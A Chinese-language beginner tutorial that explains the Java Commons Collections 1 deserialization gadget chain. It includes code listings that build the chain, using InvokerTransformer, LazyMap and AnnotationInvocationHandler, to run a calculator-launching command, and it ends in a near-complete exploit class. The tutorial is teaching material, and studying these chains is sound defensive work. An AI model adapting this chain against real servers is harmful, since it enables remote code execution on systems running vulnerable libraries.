0基础入门java安全(一)--CC1基础分析
0基础入门Java安全一-- CC1基础分析如果你刚接触Java安全可能会被“反序列化漏洞”、“链式调用”、“CC链”这些名词吓到。别慌今天我们就从零开始拆解Java安全中最经典的入门案例CC1链Commons Collections 1。我会用最通俗的语言结合具体代码带你一步步理解它的原理。—## 什么是CC1链CC1链的全称是Commons Collections 1它是一个利用Apache Commons Collections库中的反序列化漏洞实现的攻击链。简单来说攻击者通过构造恶意数据让服务器在反序列化时执行危险代码。打个比方你收到一个快递序列化数据打开箱子反序列化时里面突然弹出弹簧拳头恶意代码打中了你。CC1链就是帮攻击者设计这个“弹簧拳头”的组装说明书。—## 核心概念InvocationHandler与动态代理要理解CC1链必须先知道两个Java特性### 1.InvocationHandler是什么- 它是Java动态代理机制的一部分。- 当你调用一个接口的方法时InvocationHandler可以拦截这个调用执行自定义逻辑。### 2.Transformer接口在Commons Collections库中Transformer接口定义了transform()方法用于将一个对象转换成另一个对象。常见的实现类有-ConstantTransformer永远返回固定值。-InvokerTransformer通过反射调用指定方法。关键点InvokerTransformer可以调用任意对象的任意方法比如Runtime.getRuntime().exec(calc)来执行系统命令。—## 代码示例1手动构造恶意Transformer我们先写一个简单例子看看如何用InvokerTransformer执行命令。javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;public class SimpleTransformerDemo { public static void main(String[] args) throws Exception { // 1. 创建一个InvokerTransformer定义要调用的方法 // 参数说明方法名、参数类型数组、参数值数组 Transformer transformer new InvokerTransformer( exec, // 要调用的方法名 new Class[]{String.class}, // 参数类型 new Object[]{calc.exe} // 参数值弹出计算器 ); // 2. 获取Runtime对象注意Runtime类不能直接new要通过getRuntime() Runtime runtime Runtime.getRuntime(); // 3. 执行transform相当于调用 runtime.exec(calc.exe) Object result transformer.transform(runtime); // 如果运行在Windows上会弹出计算器 System.out.println(命令执行成功); }}运行结果如果你的环境有Apache Commons Collections库运行后会弹出计算器Windows或执行其它命令。原理InvokerTransformer通过反射机制调用Runtime.exec(calc.exe)。但注意这里需要手动传入Runtime对象在实际攻击中我们无法直接获得这个对象所以需要更巧妙的链式调用。—## 链式调用的关键LazyMap与ProxyCC1链的核心在于利用LazyMap和动态代理实现“自动触发”。让我们逐步拆解### 1. LazyMap的作用LazyMap是Commons Collections中的一个类它的get()方法有一个特殊行为如果Map中不存在某个key它会调用一个Transformer来生成value。javaimport org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class LazyMapDemo { public static void main(String[] args) { // 1. 构造一个Transformer链先返回Runtime对象再调用exec Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), // 返回Runtime.class对象 new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), // 调用getMethod new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用invoke获得Runtime实例 new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 执行命令 }; ChainedTransformer chain new ChainedTransformer(transformers); // 2. 创建LazyMap传入Transformer链 LazyMap lazyMap (LazyMap) LazyMap.decorate(new HashMap(), chain); // 3. 当调用get()方法且key不存在时会触发transform lazyMap.get(anyKey); // 这会执行整个链最终弹出计算器 }}关键点ChainedTransformer将多个Transformer串起来前一个的输出作为后一个的输入。整个流程是1.ConstantTransformer返回Runtime.class对象。2.InvokerTransformer调用getMethod(getRuntime)获得getRuntime方法。3. 再调用invoke(null)获得Runtime实例。4. 最后调用exec(calc.exe)。—## 触发时机反序列化时自动调用现在的问题是如何让服务器在反序列化时自动调用lazyMap.get()答案是用动态代理。AnnotationInvocationHandler是Java自带的类它实现了InvocationHandler。当代理对象调用任何方法时它都会调用invoke()方法而invoke()内部会调用memberValues.get(member)—— 这正是我们需要的get()触发点。攻击链1. 用LazyMap包装恶意Transformer链。2. 用AnnotationInvocationHandler创建代理代理对象是Map接口。3. 把这个代理对象放到另一个AnnotationInvocationHandler的memberValues里。4. 序列化这个对象反序列化时触发链式调用。—## 代码示例2完整的CC1攻击链javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1Exploit { public static void main(String[] args) throws Exception { // Step 1: 构建Transformer链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) }; ChainedTransformer chain new ChainedTransformer(transformers); // Step 2: 创建LazyMap Map lazyMap LazyMap.decorate(new HashMap(), chain); // Step 3: 获取AnnotationInvocationHandler的构造方法通过反射 Class? clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor? constructor clazz.getDeclaredConstructor( Class.class, Map.class); constructor.setAccessible(true); // Step 4: 创建第一个handler代理lazyMap InvocationHandler handler (InvocationHandler) constructor.newInstance( Retention.class, lazyMap); // 创建动态代理对象代理Map接口 Map proxyMap (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler); // Step 5: 创建第二个handler把proxyMap作为memberValues InvocationHandler finalHandler (InvocationHandler) constructor.newInstance( Retention.class, proxyMap); // Step 6: 序列化实际攻击中把对象发送给服务器 // 这里我们直接触发反序列化 // 当反序列化执行时会调用finalHandler的readObject() // 最终触发lazyMap.get() - 执行命令 // 注意实际测试时可能需要反序列化触发这里简化演示 System.out.println(构造完成反序列化时将执行命令); }}注意这段代码在JDK 8u71之前有效之后AnnotationInvocationHandler的readObject逻辑修改不再触发。要测试的话请使用低版本JDK和Commons Collections 3.1。—## 总结CC1链的核心思想可以归纳为三步1.准备弹药用InvokerTransformer和ChainedTransformer构造任意方法调用链。2.设置陷阱用LazyMap包装这个链只要调用get()且key不存在就会触发。3.扣动扳机利用AnnotationInvocationHandler的动态代理在反序列化时自动调用get()。为什么能成功因为Java反序列化机制会调用readObject()而AnnotationInvocationHandler的readObject()内部会遍历memberValues触发代理对象的entrySet()等方法进而触发LazyMap.get()。学习建议- 先理解动态代理和反射机制。- 动手调试代码观察每一步的输入输出。- 从CC1开始逐步学习CC2、CC4、CC6等变种。记住安全漏洞的本质是“信任”的滥用。反序列化信任了序列化数据中的类型定义而攻击者利用这种信任把恶意代码伪装成普通数据。理解这一点你就掌握了Java安全的精髓。

相关新闻

最新新闻

日新闻

周新闻

月新闻